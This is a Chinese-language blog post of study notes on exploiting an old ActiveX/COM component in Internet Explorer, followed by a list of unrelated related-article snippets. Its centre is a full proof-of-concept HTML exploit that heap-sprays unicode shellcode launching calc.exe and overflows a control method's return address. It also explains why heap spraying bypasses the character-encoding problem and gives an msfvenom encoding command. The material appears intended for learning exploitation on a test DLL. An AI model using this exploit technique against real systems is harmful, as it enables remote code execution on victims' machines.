com组件安全研究,已然是老古董了。以下是学习研究总结,采用的是覆盖返回地址结合堆喷的技术达到任意代码执行。

ollydbg调试com组件

Iexplore.exe 在匹配到对应的com组件后会通过DispCallFunc函数转置对应的注册组件对象接口函数。
因此,可对此函数下断点。如下图所示(来自0day2):

定位漏洞触发点

一般选用以下两种方式:
1. 覆盖返回地址
2. 覆盖最近的异常处理地址

采用第1种:
可计算出,返回地址距离不受限制的字符串地址为216字节。

POC

<html>
Test Exploit page
<object classid='clsid:8EF2A07C-6E69-4144-96AA-2247D892A73D' id='target' ></object>
<script language='javascript'>/*Calc.exe alpha_upper badchars --> "\x8b\x93\x83\x8a\x8c\x8d\x8f\x8e\x87\x81\x84\x86\x88\x89\x90\x91\x92\x94\x95\x96\x97\x98\x99\x82\x85
\x9f\x9a\x9e\x9d\x9b\x9f\x76
shell="\x33\xC0\x50\x68\x2E\x65\x78\x65\x68\x63\x61\x6C\x63\x8D\x04\x24\x50\xB8\x9D\x13\x76\x6C\x05\x10\x10\x10\x10\xFF\xD0\xB8\xDA\xAA\x61\x5C\x05\x20\x20\x20\x20\xFF\xD0";
*//* need unicode */
shell="%uc033%u6850%u652e%u6578%u6368%u6c61%u8d63%u2404%ub850%u139d%u6c76%u1005%u1010%uff10%ub8d0%uaada%u5c61%u2005%u2020%uff20%u90d0";
shell=unescape(shell);/*
wrong because of unicode encode by iexplorer
chunk="\x90";while (chunk.length<=0x100000)
{
chunk+=chunk;
}
chunk=chunk.substring(0,0x100000-32-4-1-shell.length));var slide = new Array();
for (var i=0;i<=200;i++)
{slide[i] = chunk+shell;
}
*/chunk=unescape("%u9090%u9090");while (chunk.length<0x100000/2)
{chunk+=chunk;
}
chunk=chunk.substring(0,(0x100000-32-4-1-shell.length)/2);var slide = new Array();
for (var i=0;i<=200;i++)
{slide[i] = chunk+shell;
}/*
op = unescape("%u0606%0606");  //wrong
op = "\x06\x06\x06\x06"; 常用0c0c0c0c. 一般 04040404~0b0b0b0b的之间的堆空间都可以。
*/
op = "\x06\x06\x06\x06";nops="\x90";
while (nops.length<20){ nops+="\x90";}junk1="A";
while (junk1.length<216){ junk1+=junk1;}
junk1=junk1.substring(0,216);arg1=junk1+op+nops+shell;target.Method1(arg1);</script>
</html>

为什么选择堆喷而不是类似jmp esp的方式

  1. 堆喷相当稳定
  2. 绕过字符编码问题

字符编码

WideCharToMultiByte的影响,对于ascii值大于等于0x80的字符会被自动转化为0x3f。
例如:
jmp esp的地址:
\x49\xF0\xDE\x77.
在传递给有漏洞函数时会变为
\x49\x3F\x3F\x77
当然这可以在进程空间找到另一个不会被转换的跳板指令。

对于payload的shellcode 的坏字符可使用metasploit的工具msfvenom 进行相应编码转换

命令部分:
msfvenom -a x86 --platform windows -p windwos/exec CMD="calc.exe" -e x86/aipha_mixed BufferRegister=ESP -f -c

COMRaider自带vul.dll成功总结相关推荐

  1. 关于Navicat Premium连接Oracle数据库闪退(失败)的解决办法(带ocl.dll)

    关于Navicat Premium连接Oracle数据库闪退(失败)的解决办法(带ocl.dll) 先下载这两个文件(oci.dll.sqlPlus) oci.dll:https://download ...

  2. DELPHI 键盘HOOK,DLL注入,带窗口DLL注入及释放

    -----------DLL的创建退出过程---------- 新建的DLL内 procedure DllEnterProc(reason:integer); begin case reason of ...

  3. 许三多修路带给我们成功的启示

    <士兵突击>这部电视剧看过许多变了,但总不能释怀.        许三多一个从农村山沟出来的孩子,一个有着严重"心理障碍"的新兵,从一个给谁谁不要的孬兵,最后居然成为一 ...

  4. 新媒之家是怎么带我走向成功?

    前段时间一个老朋友找到我,希望我分享做虚拟项目这一年的收获,我欣然答应,毕竟在新媒之家上我确实收获颇丰. 我大学一毕业听从了父母的安排在县城的政府部门做了材料管理员,虽然工资不高,但也清闲.也曾想过出 ...

  5. win10自带dll修复以及多种dll修复方法分享

    修复DLL文件是解决Windows系统中发生的许多问题的重要步骤之一.在Windows 10中,自带了一些工具和功能来修复损坏的DLL文件.本文将讨论Windows 10自带的DLL修复工具以及其他常 ...

  6. regsvr32.exe进程注册dll文件

    regsvr32.exe用于注册Windows操作系统的动态链接库(dll)和ActiveX控件.这个程序对你系统的正常运行是非常重要的.   dll文件即动态链接库,是一个不可执行的二进制程序文件, ...

  7. pb编译机器码不成功的问题

    今天朋友的代码让我编译一下,他之前是可以编译成dll的,而我电脑上尝试过多次都是一样的错误. 错误样式: 1. could not create or open file 'c:\docume~1\a ...

  8. Windows Dll Injection、Process Injection、API Hook、DLL后门/恶意程序入侵技术

    catalogue 1. 引言 2. 使用注册表注入DLL 3. 使用Windows挂钩来注入DLL 4. 使用远程线程来注入DLL 5. 使用木马DLL来注入DLL 6. 把DLL作为调试器来注入 ...

  9. 如何反注册DLL文件

    如何反注册DLL文件     在windows的system文件夹下有一个regsvr32.exe的程序,它就是windows自带的activex注册和反注册工具.它的用法为: "regsv ...

  10. 在VS2010平台上创建并使用dll

    一.为什么需要dll 代码复用是提高软件开发效率的重要途径.一般而言,只要某部分代码具有通用性,就可将它构造成相对独立的功能模块并在之后的项目中重复使用.比较常见的例子是各种应用程序框架,如ATL.M ...

最新文章

  1. 天正怎么批量填充柱子_天正CAD插件使用教程合集
  2. JAVA8之lambda表达式
  3. MySQL性能优化之必备技能【推荐】
  4. uniapp 可视化开发_uniapp的简单安装流程使用教程
  5. 智慧消防、消防管理、事件管理、维保巡检、应急管理、培训管理、值班管理、考试管理、设备列表、机构管理、应急预案、axure原型、rp原型
  6. Python中如何获取类属性的列表
  7. phpcms模板标签整理
  8. cad批量打印_CAD插件批量打印3.5.9
  9. 转载:LTE中的各种ID含义
  10. google吃豆子游戏
  11. 淘宝APP用户行为数据分析案例——Python
  12. 《SpringSecurity in Action》四:Session共享下的Session并发控制问题
  13. The artifact org.apache.commons:commons-io:jar:1.3.2 has been relocated to commons-io:commons-io:jar
  14. CSS设置html网页背景图片 CSS设置网页背景颜色
  15. linux补齐命令,Linux中10个有用的命令行补齐命令
  16. Flask学习笔记(一)
  17. Android targetSdkVersion从23升级到26适配指南
  18. 弱智的页面无法访问的问题
  19. torch.sort()用法
  20. 贴片电解电容正负极区分

热门文章

  1. ASP.NET MVC+Vue.js实现联系人管理
  2. 计算机屏幕怎么设置键盘,[怎么用屏幕键盘]怎么用键盘调屏幕分辨率
  3. 空间里相片批量导入u盘_怎样将U盘内相片弄到QQ空间的相册内
  4. java中dl列表_Java DLFolder.getFolderId方法代码示例
  5. 【MATLAB】MATLAB 仿真 — 窄带高斯白噪声
  6. 简述窄带调频和宽带调频的_宽带调频和窄带调频的简单区别方法
  7. python学习日常-----作业(4)
  8. 记一次wkhtmltopdf填坑经历
  9. 5.Linux系统中解压缩详解
  10. 树莓派4B点亮LED小灯